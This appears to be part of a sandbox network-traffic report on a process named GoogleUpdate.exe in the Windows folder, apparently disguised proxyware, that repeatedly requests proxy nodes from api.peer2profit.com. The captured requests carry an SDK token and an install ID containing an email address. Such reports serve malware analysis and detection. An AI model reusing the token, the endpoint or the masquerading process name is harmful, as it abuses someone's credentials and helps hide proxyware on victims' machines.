2022-12-05 05:45:42 UTC	25	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:42 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a265b71bb55-FRA
2022-12-05 05:45:42 UTC	26	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.3	49834	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:42 UTC	26	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:42 UTC	26	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:42 UTC	26	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:42 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a289b08994a-FRA
2022-12-05 05:45:42 UTC	26	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.3	49837	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:42 UTC	26	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:42 UTC	27	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:43 UTC	27	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:43 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a2ba9a79b94-FRA
2022-12-05 05:45:43 UTC	27	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49719	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:20 UTC	2	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:20 UTC	2	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:20 UTC	3	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:20 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a799ebe419ba4-FRA
2022-12-05 05:45:20 UTC	3	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.3	49840	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:43 UTC	27	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:43 UTC	27	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:43 UTC	27	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:43 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a2dcf9491fc-FRA
2022-12-05 05:45:43 UTC	28	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.3	49843	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:43 UTC	28	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:43 UTC	28	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:43 UTC	28	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:43 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a302965918e-FRA
2022-12-05 05:45:43 UTC	28	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.3	49846	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:44 UTC	28	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:44 UTC	29	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:44 UTC	29	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:44 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a331efc9ba0-FRA
2022-12-05 05:45:44 UTC	29	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.3	49849	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:44 UTC	29	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:44 UTC	29	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:44 UTC	29	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:44 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a360b3292c6-FRA
2022-12-05 05:45:44 UTC	30	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.3	49852	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:45 UTC	30	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:45 UTC	30	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:45 UTC	30	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:45 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a38de8c6993-FRA
2022-12-05 05:45:45 UTC	30	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.3	49856	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:46 UTC	30	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:46 UTC	31	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:46 UTC	31	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:46 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a3edf1d9177-FRA
2022-12-05 05:45:46 UTC	31	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.3	49860	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:47 UTC	31	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:47 UTC	31	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:47 UTC	32	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:47 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a4538f55b80-FRA
2022-12-05 05:45:47 UTC	32	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.3	49863	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:47 UTC	32	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:47 UTC	32	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:47 UTC	32	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:47 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a489ef15c62-FRA
2022-12-05 05:45:47 UTC	32	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.3	49867	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:47 UTC	33	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
